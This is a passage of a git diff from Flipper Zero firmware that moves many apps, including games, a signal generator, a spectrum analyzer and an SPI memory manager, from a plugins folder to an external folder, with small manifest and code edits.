applications/plugins/rc2014_coleco/icons/ColecoStar_hvr_17x17.png rename to applications/external/rc2014_coleco/icons/ColecoStar_hvr_17x17.png diff --git a/applications/plugins/rc2014_coleco/interface/flipper-coleco.brd b/applications/external/rc2014_coleco/interface/flipper-coleco.brd similarity index 100% rename from applications/plugins/rc2014_coleco/interface/flipper-coleco.brd rename to applications/external/rc2014_coleco/interface/flipper-coleco.brd diff --git a/applications/plugins/rc2014_coleco/interface/flipper-coleco.sch b/applications/external/rc2014_coleco/interface/flipper-coleco.sch similarity index 100% rename from applications/plugins/rc2014_coleco/interface/flipper-coleco.sch rename to applications/external/rc2014_coleco/interface/flipper-coleco.sch diff --git a/applications/plugins/rubiks_cube_scrambler/LICENSE b/applications/external/rubiks_cube_scrambler/LICENSE similarity index 100% rename from applications/plugins/rubiks_cube_scrambler/LICENSE rename to applications/external/rubiks_cube_scrambler/LICENSE diff --git a/applications/plugins/rubiks_cube_scrambler/application.fam b/applications/external/rubiks_cube_scrambler/application.fam similarity index 100% rename from applications/plugins/rubiks_cube_scrambler/application.fam rename to applications/external/rubiks_cube_scrambler/application.fam diff --git a/applications/plugins/rubiks_cube_scrambler/cube.png b/applications/external/rubiks_cube_scrambler/cube.png similarity index 100% rename from applications/plugins/rubiks_cube_scrambler/cube.png rename to applications/external/rubiks_cube_scrambler/cube.png diff --git a/applications/plugins/rubiks_cube_scrambler/rubiks_cube_scrambler.c b/applications/external/rubiks_cube_scrambler/rubiks_cube_scrambler.c similarity index 100% rename from applications/plugins/rubiks_cube_scrambler/rubiks_cube_scrambler.c rename to applications/external/rubiks_cube_scrambler/rubiks_cube_scrambler.c diff --git a/applications/plugins/rubiks_cube_scrambler/scrambler.c b/applications/external/rubiks_cube_scrambler/scrambler.c similarity index 100% rename from applications/plugins/rubiks_cube_scrambler/scrambler.c rename to applications/external/rubiks_cube_scrambler/scrambler.c diff --git a/applications/plugins/rubiks_cube_scrambler/scrambler.h b/applications/external/rubiks_cube_scrambler/scrambler.h similarity index 100% rename from applications/plugins/rubiks_cube_scrambler/scrambler.h rename to applications/external/rubiks_cube_scrambler/scrambler.h diff --git a/applications/plugins/sam/application.fam b/applications/external/sam/application.fam similarity index 96% rename from applications/plugins/sam/application.fam rename to applications/external/sam/application.fam index 1c49eb236..dc0641b3c 100644 --- a/applications/plugins/sam/application.fam +++ b/applications/external/sam/application.fam @@ -1,7 +1,7 @@ App( appid="SAM", name="SAM AYBABTU", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="sam_app", requires=[ "gui", diff --git a/applications/plugins/sam/icons/music_10px.png b/applications/external/sam/icons/music_10px.png similarity index 100% rename from applications/plugins/sam/icons/music_10px.png rename to applications/external/sam/icons/music_10px.png diff --git a/applications/plugins/sam/music_10px.png b/applications/external/sam/music_10px.png similarity index 100% rename from applications/plugins/sam/music_10px.png rename to applications/external/sam/music_10px.png diff --git a/applications/plugins/sam/sam_app.cpp b/applications/external/sam/sam_app.cpp similarity index 100% rename from applications/plugins/sam/sam_app.cpp rename to applications/external/sam/sam_app.cpp diff --git a/applications/plugins/sam/stm32_sam.cpp b/applications/external/sam/stm32_sam.cpp similarity index 100% rename from applications/plugins/sam/stm32_sam.cpp rename to applications/external/sam/stm32_sam.cpp diff --git a/applications/plugins/sam/stm32_sam.h b/applications/external/sam/stm32_sam.h similarity index 100% rename from applications/plugins/sam/stm32_sam.h rename to applications/external/sam/stm32_sam.h diff --git a/applications/plugins/sentry_safe/application.fam b/applications/external/sentry_safe/application.fam similarity index 88% rename from applications/plugins/sentry_safe/application.fam rename to applications/external/sentry_safe/application.fam index 2eb43f4aa..28d1da04f 100644 --- a/applications/plugins/sentry_safe/application.fam +++ b/applications/external/sentry_safe/application.fam @@ -3,7 +3,6 @@ App( name="[GPIO] Sentry Safe", apptype=FlipperAppType.EXTERNAL, entry_point="sentry_safe_app", - cdefines=["APP_SENTRY_SAFE"], requires=["gui"], stack_size=1 * 1024, order=40, diff --git a/applications/plugins/sentry_safe/safe_10px.png b/applications/external/sentry_safe/safe_10px.png similarity index 100% rename from applications/plugins/sentry_safe/safe_10px.png rename to applications/external/sentry_safe/safe_10px.png diff --git a/applications/plugins/sentry_safe/sentry_safe.c b/applications/external/sentry_safe/sentry_safe.c similarity index 98% rename from applications/plugins/sentry_safe/sentry_safe.c rename to applications/external/sentry_safe/sentry_safe.c index 789b43f2c..a0667b686 100644 --- a/applications/plugins/sentry_safe/sentry_safe.c +++ b/applications/external/sentry_safe/sentry_safe.c @@ -2,6 +2,7 @@ #include #include #include +#include #include @@ -84,6 +85,7 @@ int32_t sentry_safe_app(void* p) { UNUSED(p); FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(Event)); + DOLPHIN_DEED(DolphinDeedPluginStart); SentryState* sentry_state = malloc(sizeof(SentryState)); @@ -166,4 +168,4 @@ int32_t sentry_safe_app(void* p) { free(sentry_state); return 0; -} \ No newline at end of file +} diff --git a/applications/plugins/signal_generator/application.fam b/applications/external/signal_generator/application.fam similarity index 79% rename from applications/plugins/signal_generator/application.fam rename to applications/external/signal_generator/application.fam index 8edc9221b..df2dd2559 100644 --- a/applications/plugins/signal_generator/application.fam +++ b/applications/external/signal_generator/application.fam @@ -1,9 +1,8 @@ App( appid="Signal_Generator", name="[GPIO] Signal Generator", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="signal_gen_app", - cdefines=["APP_SIGNAL_GEN"], requires=["gui"], stack_size=1 * 1024, order=50, diff --git a/applications/plugins/signal_generator/icons/SmallArrowDown_3x5.png b/applications/external/signal_generator/icons/SmallArrowDown_3x5.png similarity index 100% rename from applications/plugins/signal_generator/icons/SmallArrowDown_3x5.png rename to applications/external/signal_generator/icons/SmallArrowDown_3x5.png diff --git a/applications/plugins/signal_generator/icons/SmallArrowUp_3x5.png b/applications/external/signal_generator/icons/SmallArrowUp_3x5.png similarity index 100% rename from applications/plugins/signal_generator/icons/SmallArrowUp_3x5.png rename to applications/external/signal_generator/icons/SmallArrowUp_3x5.png diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene.c b/applications/external/signal_generator/scenes/signal_gen_scene.c similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene.c rename to applications/external/signal_generator/scenes/signal_gen_scene.c diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene.h b/applications/external/signal_generator/scenes/signal_gen_scene.h similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene.h rename to applications/external/signal_generator/scenes/signal_gen_scene.h diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene_config.h b/applications/external/signal_generator/scenes/signal_gen_scene_config.h similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene_config.h rename to applications/external/signal_generator/scenes/signal_gen_scene_config.h diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene_mco.c b/applications/external/signal_generator/scenes/signal_gen_scene_mco.c similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene_mco.c rename to applications/external/signal_generator/scenes/signal_gen_scene_mco.c diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene_pwm.c b/applications/external/signal_generator/scenes/signal_gen_scene_pwm.c similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene_pwm.c rename to applications/external/signal_generator/scenes/signal_gen_scene_pwm.c diff --git a/applications/plugins/signal_generator/scenes/signal_gen_scene_start.c b/applications/external/signal_generator/scenes/signal_gen_scene_start.c similarity index 100% rename from applications/plugins/signal_generator/scenes/signal_gen_scene_start.c rename to applications/external/signal_generator/scenes/signal_gen_scene_start.c diff --git a/applications/plugins/signal_generator/signal_gen_10px.png b/applications/external/signal_generator/signal_gen_10px.png similarity index 100% rename from applications/plugins/signal_generator/signal_gen_10px.png rename to applications/external/signal_generator/signal_gen_10px.png diff --git a/applications/plugins/signal_generator/signal_gen_app.c b/applications/external/signal_generator/signal_gen_app.c similarity index 100% rename from applications/plugins/signal_generator/signal_gen_app.c rename to applications/external/signal_generator/signal_gen_app.c diff --git a/applications/plugins/signal_generator/signal_gen_app_i.h b/applications/external/signal_generator/signal_gen_app_i.h similarity index 100% rename from applications/plugins/signal_generator/signal_gen_app_i.h rename to applications/external/signal_generator/signal_gen_app_i.h diff --git a/applications/plugins/signal_generator/views/signal_gen_pwm.c b/applications/external/signal_generator/views/signal_gen_pwm.c similarity index 100% rename from applications/plugins/signal_generator/views/signal_gen_pwm.c rename to applications/external/signal_generator/views/signal_gen_pwm.c diff --git a/applications/plugins/signal_generator/views/signal_gen_pwm.h b/applications/external/signal_generator/views/signal_gen_pwm.h similarity index 100% rename from applications/plugins/signal_generator/views/signal_gen_pwm.h rename to applications/external/signal_generator/views/signal_gen_pwm.h diff --git a/applications/plugins/snake_game/application.fam b/applications/external/snake_game/application.fam similarity index 74% rename from applications/plugins/snake_game/application.fam rename to applications/external/snake_game/application.fam index 4e88e1941..021ab4900 100644 --- a/applications/plugins/snake_game/application.fam +++ b/applications/external/snake_game/application.fam @@ -1,9 +1,8 @@ App( appid="Snake", name="Snake Game", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="snake_game_app", - cdefines=["APP_SNAKE_GAME"], requires=["gui"], stack_size=1 * 1024, order=210, diff --git a/applications/plugins/snake_game/snake_10px.png b/applications/external/snake_game/snake_10px.png similarity index 100% rename from applications/plugins/snake_game/snake_10px.png rename to applications/external/snake_game/snake_10px.png diff --git a/applications/plugins/snake_game/snake_game.c b/applications/external/snake_game/snake_game.c similarity index 100% rename from applications/plugins/snake_game/snake_game.c rename to applications/external/snake_game/snake_game.c diff --git a/applications/plugins/solitaire/application.fam b/applications/external/solitaire/application.fam similarity index 90% rename from applications/plugins/solitaire/application.fam rename to applications/external/solitaire/application.fam index 4011c343e..299b4a2dc 100644 --- a/applications/plugins/solitaire/application.fam +++ b/applications/external/solitaire/application.fam @@ -3,7 +3,6 @@ App( name="Solitaire", apptype=FlipperAppType.EXTERNAL, entry_point="solitaire_app", - cdefines=["APP_SOLITAIRE"], requires=["gui", "storage", "canvas"], stack_size=2 * 1024, order=30, diff --git a/applications/plugins/solitaire/assets/card_graphics.png b/applications/external/solitaire/assets/card_graphics.png similarity index 100% rename from applications/plugins/solitaire/assets/card_graphics.png rename to applications/external/solitaire/assets/card_graphics.png diff --git a/applications/plugins/solitaire/assets/solitaire_main.png b/applications/external/solitaire/assets/solitaire_main.png similarity index 100% rename from applications/plugins/solitaire/assets/solitaire_main.png rename to applications/external/solitaire/assets/solitaire_main.png diff --git a/applications/plugins/solitaire/common/card.c b/applications/external/solitaire/common/card.c similarity index 100% rename from applications/plugins/solitaire/common/card.c rename to applications/external/solitaire/common/card.c diff --git a/applications/plugins/solitaire/common/card.h b/applications/external/solitaire/common/card.h similarity index 100% rename from applications/plugins/solitaire/common/card.h rename to applications/external/solitaire/common/card.h diff --git a/applications/plugins/solitaire/common/dml.c b/applications/external/solitaire/common/dml.c similarity index 100% rename from applications/plugins/solitaire/common/dml.c rename to applications/external/solitaire/common/dml.c diff --git a/applications/plugins/solitaire/common/dml.h b/applications/external/solitaire/common/dml.h similarity index 100% rename from applications/plugins/solitaire/common/dml.h rename to applications/external/solitaire/common/dml.h diff --git a/applications/plugins/solitaire/common/menu.c b/applications/external/solitaire/common/menu.c similarity index 100% rename from applications/plugins/solitaire/common/menu.c rename to applications/external/solitaire/common/menu.c diff --git a/applications/plugins/solitaire/common/menu.h b/applications/external/solitaire/common/menu.h similarity index 100% rename from applications/plugins/solitaire/common/menu.h rename to applications/external/solitaire/common/menu.h diff --git a/applications/plugins/solitaire/common/queue.c b/applications/external/solitaire/common/queue.c similarity index 100% rename from applications/plugins/solitaire/common/queue.c rename to applications/external/solitaire/common/queue.c diff --git a/applications/plugins/solitaire/common/queue.h b/applications/external/solitaire/common/queue.h similarity index 100% rename from applications/plugins/solitaire/common/queue.h rename to applications/external/solitaire/common/queue.h diff --git a/applications/plugins/solitaire/common/ui.c b/applications/external/solitaire/common/ui.c similarity index 100% rename from applications/plugins/solitaire/common/ui.c rename to applications/external/solitaire/common/ui.c diff --git a/applications/plugins/solitaire/common/ui.h b/applications/external/solitaire/common/ui.h similarity index 100% rename from applications/plugins/solitaire/common/ui.h rename to applications/external/solitaire/common/ui.h diff --git a/applications/plugins/solitaire/defines.h b/applications/external/solitaire/defines.h similarity index 100% rename from applications/plugins/solitaire/defines.h rename to applications/external/solitaire/defines.h diff --git a/applications/plugins/solitaire/solitaire.c b/applications/external/solitaire/solitaire.c similarity index 100% rename from applications/plugins/solitaire/solitaire.c rename to applications/external/solitaire/solitaire.c diff --git a/applications/plugins/solitaire/solitaire_10px.png b/applications/external/solitaire/solitaire_10px.png similarity index 100% rename from applications/plugins/solitaire/solitaire_10px.png rename to applications/external/solitaire/solitaire_10px.png diff --git a/applications/plugins/spectrum_analyzer/application.fam b/applications/external/spectrum_analyzer/application.fam similarity index 87% rename from applications/plugins/spectrum_analyzer/application.fam rename to applications/external/spectrum_analyzer/application.fam index 344c2244f..286aa64ba 100644 --- a/applications/plugins/spectrum_analyzer/application.fam +++ b/applications/external/spectrum_analyzer/application.fam @@ -3,7 +3,6 @@ App( name="Spectrum Analyzer", apptype=FlipperAppType.EXTERNAL, entry_point="spectrum_analyzer_app", - cdefines=["APP_SPECTRUM_ANALYZER"], requires=["gui"], stack_size=2 * 1024, order=12, diff --git a/applications/plugins/spectrum_analyzer/spectrum_10px.png b/applications/external/spectrum_analyzer/spectrum_10px.png similarity index 100% rename from applications/plugins/spectrum_analyzer/spectrum_10px.png rename to applications/external/spectrum_analyzer/spectrum_10px.png diff --git a/applications/plugins/spectrum_analyzer/spectrum_analyzer.c b/applications/external/spectrum_analyzer/spectrum_analyzer.c similarity index 98% rename from applications/plugins/spectrum_analyzer/spectrum_analyzer.c rename to applications/external/spectrum_analyzer/spectrum_analyzer.c index 99c12adf7..7148ad92b 100644 --- a/applications/plugins/spectrum_analyzer/spectrum_analyzer.c +++ b/applications/external/spectrum_analyzer/spectrum_analyzer.c @@ -5,6 +5,7 @@ #include #include #include "spectrum_analyzer.h" +#include #include #include "spectrum_analyzer_worker.h" @@ -400,11 +401,17 @@ void spectrum_analyzer_free(SpectrumAnalyzer* instance) { int32_t spectrum_analyzer_app(void* p) { UNUSED(p); + DOLPHIN_DEED(DolphinDeedPluginStart); SpectrumAnalyzer* spectrum_analyzer = spectrum_analyzer_alloc(); InputEvent input; // Enable power for External CC1101 if it is connected furi_hal_subghz_enable_ext_power(); + // Auto switch to internal radio if external radio is not available + furi_delay_ms(15); + if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } furi_hal_power_suppress_charge_enter(); @@ -518,4 +525,4 @@ int32_t spectrum_analyzer_app(void* p) { spectrum_analyzer_free(spectrum_analyzer); return 0; -} \ No newline at end of file +} diff --git a/applications/plugins/spectrum_analyzer/spectrum_analyzer.h b/applications/external/spectrum_analyzer/spectrum_analyzer.h similarity index 100% rename from applications/plugins/spectrum_analyzer/spectrum_analyzer.h rename to applications/external/spectrum_analyzer/spectrum_analyzer.h diff --git a/applications/plugins/spectrum_analyzer/spectrum_analyzer_worker.c b/applications/external/spectrum_analyzer/spectrum_analyzer_worker.c similarity index 100% rename from applications/plugins/spectrum_analyzer/spectrum_analyzer_worker.c rename to applications/external/spectrum_analyzer/spectrum_analyzer_worker.c diff --git a/applications/plugins/spectrum_analyzer/spectrum_analyzer_worker.h b/applications/external/spectrum_analyzer/spectrum_analyzer_worker.h similarity index 100% rename from applications/plugins/spectrum_analyzer/spectrum_analyzer_worker.h rename to applications/external/spectrum_analyzer/spectrum_analyzer_worker.h diff --git a/applications/plugins/spi_mem_manager/application.fam b/applications/external/spi_mem_manager/application.fam similarity index 100% rename from applications/plugins/spi_mem_manager/application.fam rename to applications/external/spi_mem_manager/application.fam diff --git a/applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_01.png b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_01.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_01.png rename to applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_01.png diff --git a/applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_02.png b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_02.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_02.png rename to applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_02.png diff --git a/applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_03.png b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_03.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_03.png rename to applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_03.png diff --git a/applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_rate b/applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_rate similarity index 100% rename from applications/plugins/spi_mem_manager/images/ChipLooking_64x64/frame_rate rename to applications/external/spi_mem_manager/images/ChipLooking_64x64/frame_rate diff --git a/applications/plugins/spi_mem_manager/images/Dip8_10px.png b/applications/external/spi_mem_manager/images/Dip8_10px.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/Dip8_10px.png rename to applications/external/spi_mem_manager/images/Dip8_10px.png diff --git a/applications/plugins/spi_mem_manager/images/Dip8_32x36.png b/applications/external/spi_mem_manager/images/Dip8_32x36.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/Dip8_32x36.png rename to applications/external/spi_mem_manager/images/Dip8_32x36.png diff --git a/applications/plugins/spi_mem_manager/images/DolphinMafia_115x62.png b/applications/external/spi_mem_manager/images/DolphinMafia_115x62.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/DolphinMafia_115x62.png rename to applications/external/spi_mem_manager/images/DolphinMafia_115x62.png diff --git a/applications/plugins/spi_mem_manager/images/DolphinNice_96x59.png b/applications/external/spi_mem_manager/images/DolphinNice_96x59.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/DolphinNice_96x59.png rename to applications/external/spi_mem_manager/images/DolphinNice_96x59.png diff --git a/applications/plugins/spi_mem_manager/images/SDQuestion_35x43.png b/applications/external/spi_mem_manager/images/SDQuestion_35x43.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/SDQuestion_35x43.png rename to applications/external/spi_mem_manager/images/SDQuestion_35x43.png diff --git a/applications/plugins/spi_mem_manager/images/Wiring_SPI_128x64.png b/applications/external/spi_mem_manager/images/Wiring_SPI_128x64.png similarity index 100% rename from applications/plugins/spi_mem_manager/images/Wiring_SPI_128x64.png rename to applications/external/spi_mem_manager/images/Wiring_SPI_128x64.png diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.c similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip.c rename to applications/external/spi_mem_manager/lib/spi/spi_mem_chip.c diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip.h similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip.h rename to applications/external/spi_mem_manager/lib/spi/spi_mem_chip.h diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip_arr.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_arr.c similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip_arr.c rename to applications/external/spi_mem_manager/lib/spi/spi_mem_chip_arr.c diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip_i.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_i.h similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_chip_i.h rename to applications/external/spi_mem_manager/lib/spi/spi_mem_chip_i.h diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_tools.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.c similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_tools.c rename to applications/external/spi_mem_manager/lib/spi/spi_mem_tools.c diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_tools.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.h similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_tools.h rename to applications/external/spi_mem_manager/lib/spi/spi_mem_tools.h diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.c similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker.c rename to applications/external/spi_mem_manager/lib/spi/spi_mem_worker.c diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.h similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker.h rename to applications/external/spi_mem_manager/lib/spi/spi_mem_worker.h diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker_i.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_i.h similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker_i.h rename to applications/external/spi_mem_manager/lib/spi/spi_mem_worker_i.h diff --git a/applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker_modes.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker_modes.c similarity index 100% rename from applications/plugins/spi_mem_manager/lib/spi/spi_mem_worker_modes.c rename to applications/external/spi_mem_manager/lib/spi/spi_mem_worker_modes.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene.h b/applications/external/spi_mem_manager/scenes/spi_mem_scene.h similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene.h rename to applications/external/spi_mem_manager/scenes/spi_mem_scene.h diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_about.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_about.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_about.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_about.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detect_fail.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_detected.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_error.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_error.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_chip_error.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_chip_error.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_config.h b/applications/external/spi_mem_manager/scenes/spi_mem_scene_config.h similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_config.h rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_config.h diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_delete_confirm.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_erase.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_erase.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_erase.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_erase.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_file_info.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_file_info.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_file_info.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_file_info.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_read.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_read.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_read.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_read.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_read_filename.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_read_filename.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_read_filename.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_read_filename.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_saved_file_menu.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_file.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_file.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_file.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_select_file.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_model.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_model.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_model.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_select_model.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_select_vendor.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_start.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_start.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_start.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_start.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_storage_error.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_storage_error.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_storage_error.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_storage_error.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_success.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_success.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_success.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_success.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_verify.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_verify.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_verify.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_verify_error.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_verify_error.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_verify_error.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_verify_error.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_wiring.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_wiring.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_wiring.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_wiring.c diff --git a/applications/plugins/spi_mem_manager/scenes/spi_mem_scene_write.c b/applications/external/spi_mem_manager/scenes/spi_mem_scene_write.c similarity index 100% rename from applications/plugins/spi_mem_manager/scenes/spi_mem_scene_write.c rename to applications/external/spi_mem_manager/scenes/spi_mem_scene_write.c diff --git a/applications/plugins/spi_mem_manager/spi_mem_app.c b/applications/external/spi_mem_manager/spi_mem_app.c similarity index 100% rename from applications/plugins/spi_mem_manager/spi_mem_app.c rename to applications/external/spi_mem_manager/spi_mem_app.c diff --git a/applications/plugins/spi_mem_manager/spi_mem_app.h b/applications/external/spi_mem_manager/spi_mem_app.h similarity index 100% rename from applications/plugins/spi_mem_manager/spi_mem_app.h rename to applications/external/spi_mem_manager/spi_mem_app.h diff --git a/applications/plugins/spi_mem_manager/spi_mem_app_i.h b/applications/external/spi_mem_manager/spi_mem_app_i.h similarity index 100% rename from applications/plugins/spi_mem_manager/spi_mem_app_i.h rename to 